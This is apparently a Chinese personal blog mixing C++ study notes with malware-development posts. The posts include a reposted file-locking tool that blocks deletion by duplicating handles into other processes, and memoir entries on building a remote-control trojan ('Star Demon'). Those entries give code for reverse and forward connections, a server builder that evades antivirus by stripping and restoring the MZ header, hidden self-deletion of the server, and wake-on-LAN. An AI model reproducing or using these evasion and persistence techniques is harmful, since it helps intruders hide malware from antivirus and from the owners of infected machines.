文件结束符

int num;

while(cin >> num)

{

    //一些操作。。

}

怎么结束循环呢?…

当我们使用 istream 对象作为条件,结果是测试流的状态。如果流是有效的(也就是说,如果读入下一个输入是可能的)那么测试成功。遇到文件结束符或遇到无效输入时,如读取了一个不是整数的值,则 istream 对象是无效的。处于无效状态的 istream 对象将导致条件失败。

Entering an End-of-file from the Keyboard

从键盘输入文件结束符

Operating systems use different values for end-of-file. On Windows systems we enter an end-of-file by typing a control-zsimultaneously type the “ctrl” key and a “z.” On UNIX systems, including Mac OS-X machines, it is usually control-d.

操作系统使用不同的值作为文件结束符。Windows 系统下我们通过键入 control—z——同时键入“ctrl”键和“z”键,来输入文件结束符。Unix 系统中,包括 Mac OS—X 机器,通常用 control—d。

typedef and pointers

看c++ primer的时候看到typedef and pointers一节时,一种初学者经常犯的错误。。以前在网上看过。不过看过就忘。印象不深。。这次终于找到原创的出处了。。

在 typedef(第 2.6 节)中使用指针往往会带来意外的结果。下面是一个几乎所有人刚开始时都会答错的问题。假设给出以下语句:

typedef string *pstring;
          const pstring cstr;
<p class="docText">请问 <tt><font face="新宋体">cstr</font></tt> 变量是什么类型?简单的回答是 <tt><font face="新宋体">const pstring</font></tt> 类型的指针。进一步问:<tt><font face="新宋体">const pstring</font></tt> 指针所表示的真实类型是什么?很多人都认为真正的类型是:</p><pre>const string *cstr; // <span class="docEmphItalicAlt">wrong interpretation of const pstring cstr</span>
<p class="docText">也就是说,<tt><font face="新宋体">const pstring</font></tt> 是一种指针,指向 <tt><font face="新宋体">string</font></tt> 类型的 <tt><font face="新宋体">const</font></tt> 对象,但这是错误的。</p><p class="docText">错误的原因在于将 <tt><font face="新宋体">typedef</font></tt> 当做文本扩展了。声明 <tt><font face="新宋体">const pstring</font></tt> 时,<tt><font face="新宋体">const</font></tt> 修饰的是 <tt><font face="新宋体">pstring</font></tt> 的类型,这是一个指针。因此,该声明语句应该是把 <tt><font face="新宋体">cstr</font></tt> 定义为指向 <tt><font face="新宋体">string</font></tt> 类型对象的 <tt><font face="新宋体">const</font></tt> 指针,这个定义等价于:</p><pre>// <span class="docEmphItalicAlt">cstr is a const pointer to string</span>
          string *const cstr; // <span class="docEmphItalicAlt">equivalent to const pstring cstr</span>
 
 
 
实验验证:
 typedef int *a;<br/>   const a b;
如果上边的代码按照初学者的理解。。也就是b为指向const对象的指针。那么应该可以编译过去
不过。。上边这几句代码在编译时会报错
error C2734: 'b' : const object must be initialized if not extern
错误原因是b没有被初始化。。这也证明了。。b是const指针而非指向const对象的指针
<img src="http://img.baidu.com/hi/jx/j_0028.gif"/>

强制休息。。。

做在电脑旁边就忘了休息。。为了防止我的颈椎病不再严重下去。。。。只好做一个强制休息的小软件来强制执行一下。。

花了一上午的功夫。。弄出来这么个东东。。试用了一下。。挺好。。哈。。

恶补中。。

学习C++中。。。以前上课的时候不爱听讲。。老师讲得也不好。。导致对C++失去兴趣。。最近才喜欢上这个东东。。恶补中。。。。

头文件用于声明而不是用于定义

当设计头文件时,记住定义和声明的区别是很重要的。定义只可以出现一次,而声明则可以出现多次(第 2.3.5 节)。下列语句是一些定义,所以不应该放在头文件里:

extern int ival = 10;      // <span class="docEmphasis">initializer, so it's a definition</span>
     double fica_rate;          // <span class="docEmphasis">no extern, so it's a definition</span>
<p class="docText">虽然 <tt>ival</tt> 声明为 <tt>extern</tt>,但是它有初始化式,代表这条语句是一个定义。类似地,<tt>fica_rate</tt> 的声明虽然没有初始化式,但也是一个定义,因为没有关键字 <tt>extern</tt>。同一个程序中有两个以上文件含有上述任一个定义都会导致多重定义链接错误。</p><p class="docText">对于头文件不应该含有定义这一规则,有三个例外。头文件可以定义类、值在编译时就已知道的 <tt>const</tt> 对象和 <tt>inline</tt> 函数(<a class="docLink" href="mk:@MSITStore:J: C+++Primer C++%20Primer C++%20Prime(第四版中英文).chm::/0201721481/ch07lev1sec6.html#ch07lev1sec6">第 7.6 节</a>介绍 <tt>inline</tt> 函数)。这些实体可在多个源文件中定义,只要每个源文件中的定义是相同的。</p>

文件占坑[转自E.S.T]

原创]阻止删除文件(文件占坑)+nevergone逆向代码一份

信息来源:邪恶八进制信息安全团队(www.eviloctal.com


逆向作者:nevergone


作者:Written by 风泽(EvilHsu)[E.S.T] 真正的技术作者是DebugMan上《ring3文件占坑大法》的作者。




介绍:

dhfile是参考《ring3文件占坑大法》一文制造出的一款利用DuplicateHandle函数防止文件被删除、改名等操作的软件,同时也提供卸载、查找、搜索打开的文件句柄。当程序运行后,再使用这款工具将程序句柄复制到其他进程中,达到防删除目的,不影响正在运行程序的正常运行。至于这款软件想怎么去利用,就要看你们的想象力了。


注:

感谢《ring3文件占坑大法》的作者。


用法:

dhfile.exe [ /p | /f | /c | /l ] [PID] [FileName]


例子:

1. dhfile.exe /l 868

搜索PID为868的进程打开的所有文件

2. dhfile.exe /f text.exe

搜索打开text.exe句柄的进程

3. dhfile.exe /c 868 text.exe

卸载进程ID为868中text.exe文件句柄

4. dhfile.exe /p 868 c:text.exe

将text.exe句柄复制到PID为868的进程中,达到防止删除text.exe文件的目的。

关键代码

复制内容到剪贴板

代码:

BOOL DupFile( LPCTSTR lpFileName , int pid )

{

BOOL bRedup;

HANDLE   hFile,hProcess;

HANDLE   hTargetHandle;


EnablePrivilege(SE_DEBUG_NAME,TRUE);


if(ProcessList(pid)) printf("Process Name: %sn",szProcessName);


hProcess = OpenProcess( PROCESS_DUP_HANDLE, FALSE, pid);


if ( hProcess == NULL )

   {

          printf("PROCESS_DUP_HANDLE Errorn");    

          return FALSE;

   }


hFile = CreateFile( lpFileName,

      GENERIC_READ,

      0,

      NULL,

      OPEN_ALWAYS,

      FILE_ATTRIBUTE_NORMAL,

      NULL);


if ( hFile == INVALID_HANDLE_VALUE )

{

       printf("CreateFile Errorn");

       CloseHandle( hProcess );

       return FALSE;

}


bRedup = DuplicateHandle( GetCurrentProcess(),

                           hFile,

                           hProcess,

                           &hTargetHandle,

                           0,

                           FALSE,

                           DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE);


CloseHandle( hProcess );


return bRedup;

}

http://forum.eviloctal.com/thread-32738-1-3.html

“星魔”回忆录【4】

6.正向连接功能

发现别的远控软件都是具有正向和反向连接功能。。所以花了点时间。。把星魔改造成具备正向和反向连接功能的远控软件。。

只要连接上了。。基本功能不用变。。只改变那些需要另开端口的就成。。比如像文件上传下载,需要另开端口。。关键是谁连谁的问题了。如果是反向连接,则是客户端监听。。服务端连客户端。。如果是正向连接,则服务端监听。客户端连服务端。。还有端口映射模块也需要作相应调整。

还有一个问题需要解决。。怎么判断出来哪个是正向连接的。哪个是反向连接的。。CListCtrl中的SetItemData中插入的是每个连接Socket,我想到了用结构体,SetItemData中插入的是结构体的地址。

//连接上服务端后,CListCtrl的参数,为了判断是反向连接还是正向连接

struct ConnectParm{

SOCKET sock;        //已经连接上的socket

BOOL IsConnectServer;      //是否为正向连接

};

这一部分是我在石家庄时。远控我电脑改写出来的。。感觉石头很有毅力。。。。我就不信我毕业以后。。混不出个人模人样来。。虽然石头比较笨。但是我有毅力和恒心。我坚信这些可以让我在大学毕业后。回首往事的时候可以无憾。。

//初始化一些操作。省略。只贴关键代码

   SOCKET sock_temp,ClientSock;

   SOCKADDR_IN ServerAddr,ClientAddr;

   if(IsConnectServer==FALSE)          //反向连接

   {

    sock_temp=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

    CProp_File::AcceptSock=sock_temp;        //将监听socket传出去

   

    ServerAddr.sin_family=AF_INET;

    ServerAddr.sin_port=htons(df->port);

    ServerAddr.sin_addr.S_un.S_addr=htonl(INADDR_ANY);

   

    int ret=bind(sock_temp,(SOCKADDR*)&ServerAddr,sizeof(ServerAddr));

    if(ret < 0)

    {

     IsDownLoadFile=FALSE;

     IsNormalExit=TRUE;

     return 0;

    }

    if(listen(sock_temp,5)==SOCKET_ERROR)

    {

     AfxMessageBox(“监听端口失败n”);

     IsDownLoadFile=FALSE;

     IsNormalExit=TRUE;

     return 0;

    }

   

   

    int len=sizeof(SOCKADDR);

    ClientSock=accept(sock_temp,(sockaddr *)&ClientAddr,&len);

    if(ClientSock == SOCKET_ERROR)

    {

     IsDownLoadFile=FALSE;

     IsNormalExit=TRUE;

     return 0;

    }

   }

   else              //正向连接   

   {

    ClientSock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

    CProp_File::AcceptSock=sock_temp;        //将监听socket传出去

   

   

    SOCKADDR_IN sockaddr;

    int len=sizeof(SOCKADDR);

    getpeername(df->sock,(SOCKADDR*)&sockaddr,&len);



    ClientAddr.sin_family=AF_INET;

    ClientAddr.sin_port=htons(df->port);

    ClientAddr.sin_addr.S_un.S_addr=sockaddr.sin_addr.S_un.S_addr;

   

//    Sleep(100);

    if(SOCKET_ERROR==connect(ClientSock,(SOCKADDR*)&ClientAddr,sizeof(SOCKADDR)))

    {

     CString cs;

     cs.Format(“%ld”,WSAGetLastError());

     AfxMessageBox(cs);

     IsDownLoadFile=FALSE;

     IsNormalExit=TRUE;

     return 0;

    }

   }

//其它操作

这是客户端下载文件时的线程函数代码片断。。。

gethostbyname和getpeername

getpeername例子:

SOCKADDR_IN sockaddr;

int len=sizeof(SOCKADDR);

getpeername(sock,(SOCKADDR*)&sockaddr,&len);

gethostbyname例子:

HOSTENT* ht;

ht=gethostbyname(cs_addr.LockBuffer());

ClientAddr.sin_addr.S_un.S_addr=((struct in_addr*)ht->h_addr_list[0])->S_un.S_addr;

“星魔”回忆录【3】

二.各菜单项的功能

1.生成服务端功能

对于这项功能。。也很简单的。。把做好的服务端当成资源插入到客户端中。。然后根据用户的配置来修改资源文件,最后生成服务端。。。贴代码

void CCreateServer::OnOK()

{

// TODO: Add extra validation here

//生成服务端

UpdateData(TRUE);     

if(m_Address.IsEmpty())

{

   MessageBox(“请认真填写!”);

   return;

}

CString FilePath;

CFileDialog cf(FALSE,”.exe”,”Server”, OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,”Exe File(*.exe)|*.exe|All Files(*.*)|*.*|| “,NULL);

if(IDOK==cf.DoModal())

{

   //查找资源

   FilePath=cf.GetPathName();

   HRSRC hr=FindResource(NULL,MAKEINTRESOURCE(IDR_SERVER),”BIN”);

   if(NULL==hr)

   {

    MessageBox(“Find Resource Fail”);

    return;

   }

   DWORD Size;

   Size=SizeofResource(NULL,hr);

   //加载资源

   HGLOBAL hg=LoadResource(NULL,hr);

   if(NULL==hg)

   {

    MessageBox(“Load Resource Fail”);

    return;

   }

   //锁定资源

   LPVOID hf=LockResource(hg);

   HANDLE hd=CreateFile(FilePath,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);

   if(NULL==hd)

   {

    MessageBox(“CreateFile Fail”);

    CloseHandle(hd);

    FreeResource(hg);

    return;

   }

   DWORD Written=0;

   //写入文件

   BOOL flag=WriteFile(hd,hf,Size,&Written,NULL);

   if(FALSE==flag||Written!=Size)

   {

    MessageBox(“生成服务端失败!”);

    CloseHandle(hd);

    FreeResource(hg);

    return;

   }

  WORD dwMz;

   dwMz=’Z';

   dwMz=dwMz<<8;

   dwMz+=’M';

   SetFilePointer(hd,0,0,FILE_BEGIN);

   WriteFile(hd,(LPVOID)&dwMz,sizeof(WORD),&Written,NULL);
  

   SetFilePointer(hd,SERVERADDRESSFILEPOS,0,FILE_BEGIN);

   flag=WriteFile(hd,m_Address,m_Address.GetLength()+1,&Written,NULL);

   CloseHandle(hd);

   FreeResource(hg);

   MessageBox(“生成服务端成功!”);

   PostMessage(WM_CLOSE,0,0);

  

}



// CDialog::OnOK();

}

看上边红色标注的部分。。很关键。。如果没有这几句。。那么杀毒软件会报毒。。因为在PE文件中又在PE文件。所以杀毒软件会报“未知的PE”。。病毒。。

大家都知道。。PE文件的前DWORD字节是MZ,杀毒软件就是根据这个PE头DWORD字节来确定的。。那么我们在资源中把前两个字节改掉。。然后生成服务端的把前两个字节再重新改为’M”Z’, 哈哈。。成功骗过杀毒软件。。这个小技巧是我做梦时梦到的。。哈。。很神奇。。

2.卸载服务端功能

这个功能挺好玩的。。实现服务端自删除功能。。客户端向服务端发送卸载命令。。服务端执行命令。。下面看服务端实现的代码。

void UnLoadServerEx()

{

SHELLEXECUTEINFO sei;

TCHAR szModule [MAX_PATH],szComspec[MAX_PATH],szParams [MAX_PATH];

//获取文件路径名

if((GetModuleFileName(0,szModule,MAX_PATH)!=0) &&

   (GetShortPathName(szModule,szModule,MAX_PATH)!=0) &&

   (GetEnvironmentVariable(“COMSPEC”,szComspec,MAX_PATH)!=0))

{ //设置命令行参数。

   lstrcpy(szParams,”/c del “);

   lstrcat(szParams, szModule);

   lstrcat(szParams, ” > nul”);

  

   //初始化SHELLEXECUTEINFO结构成员

   sei.cbSize = sizeof(sei);

   //命令窗口进程句柄,ShellExecuteEx函数执行时设置。

   sei.hwnd = 0;

   sei.lpVerb = “Open”;

   sei.lpFile = szComspec;      //执行程序文件全路径名称。

   sei.lpParameters = szParams; //执行参数。

   sei.lpDirectory = 0;

   //显示方式,此处使用隐藏方式阻止出现命令窗口界面。

   sei.nShow = SW_HIDE;

   //设置为SellExecuteEx函数结束后进程退出。

   sei.fMask = SEE_MASK_NOCLOSEPROCESS;

   //创建执行命令窗口进程。

   if(ShellExecuteEx(&sei))

   { //设置命令行进程的执行级别为空闲执行,这使本程序有足够的时间从内存中退出。

    SetPriorityClass(sei.hProcess,IDLE_PRIORITY_CLASS);

    //设置本程序进程的执行级别为实时执行,这本程序马上获取CPU执行权,快速退出。

    SetPriorityClass(GetCurrentProcess(),REALTIME_PRIORITY_CLASS);

    SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_TIME_CRITICAL);

    //通知Windows资源浏览器,本程序文件已经被删除。

    SHChangeNotify(SHCNE_DELETE,SHCNF_PATH,szModule,0);

    //执行退出程序

   }

}

}

3.设置备注信息

客户端向服务端发送修改备注信息的命令。。服务端执行。。写入配置文件中。服务端的代码

//修改备注信息

void ModifyRemark(CString cs)

{

CString cs_temp;

cs_temp=GetPrivateIni();       //得到配置文件的路径


WritePrivateProfileString(“Star”,”remark”,cs.LockBuffer(),cs_temp.LockBuffer());

}

4.设置服务端退出密码

客户端采用md5加密后。。将密文发送给服务端。。服务端收到命令。。写入配置文件中。。

//设置服务端密码

void SetServerPwd(CString cs)

{

CString cs_temp;

cs_temp=GetPrivateIni();

//如果客户端发来”empty”的字符串,则代表密码设为空

if(“empty”==cs)

   cs=””;

WritePrivateProfileString(“Star”,”Pwd”,cs.LockBuffer(),cs_temp.LockBuffer());

}

5.远程唤醒功能。

这个功能是专门为网络管理员设的。需要主板的支持。。现在大部分电脑都支持远程唤醒功能。我经常用这个功能唤醒我的电脑。。很实用。

在这个模块中。。有两种方式。。一,唤醒单一主机。二,唤醒一组机器。条件:由于发的是一个广播包。所以必须在一个网段内。。否则经过路由器就收不到广播包。

广播包的格式:六次0xff后加16次MAC地址。。这里我还自己写了一个转换函数,把CString类型的转换为Byte类型的。。

//远程唤醒广播包格式:六个0xff,紧接着16次mac地址。。。就呼一声电脑开喽。。哈

BOOL CProp_WAKEUPREMOTE::WakeUpOneHost()

{

UpdateData();

//构造mac地址数据包

ether_addr[0]=atobyte(m_CMac1);

ether_addr[1]=atobyte(m_CMac2);

ether_addr[2]=atobyte(m_CMac3);

ether_addr[3]=atobyte(m_CMac4);

ether_addr[4]=atobyte(m_CMac5);

ether_addr[5]=atobyte(m_CMac6);

memset(magicpacket,0,sizeof(magicpacket));



int MageicPackSize=6;

memset(magicpacket,0xff,MageicPackSize);

for(int i=0;i<16;i++)

{

   memcpy(magicpacket+MageicPackSize,ether_addr,6);

   MageicPackSize+=6;

}



SOCKET sock=socket(AF_INET, SOCK_DGRAM, 0);

if (sock==INVALID_SOCKET)

{

//   fprintf(stderr, “Socket create error: %dn”, GetLastError());

   MessageBox(“socket Error”);

   return FALSE;

}


//设置为广播发送

BOOL bOptVal=TRUE;

int iOptLen=sizeof(BOOL);

if (setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char*)&bOptVal, iOptLen)==SOCKET_ERROR)

{

   closesocket(sock);

   return FALSE;

}


sockaddr_in to;

to.sin_family=AF_INET;

to.sin_port=htons(0);

to.sin_addr.s_addr=htonl(INADDR_BROADCAST);


//发送Magic Packet

if (sendto(sock, (const char *)magicpacket, MageicPackSize, 0, (const struct sockaddr *)&to, sizeof(to))==SOCKET_ERROR)

   MessageBox(“数据包发送失败”);

else

   MessageBox(“数据包发送成功”);


closesocket(sock);


return TRUE;

}

先写到这。。下次接着来。。

后记:今天考完编译原理了。。考得还行。。凑和。挂不了。。哈。。高兴!没事偷着乐!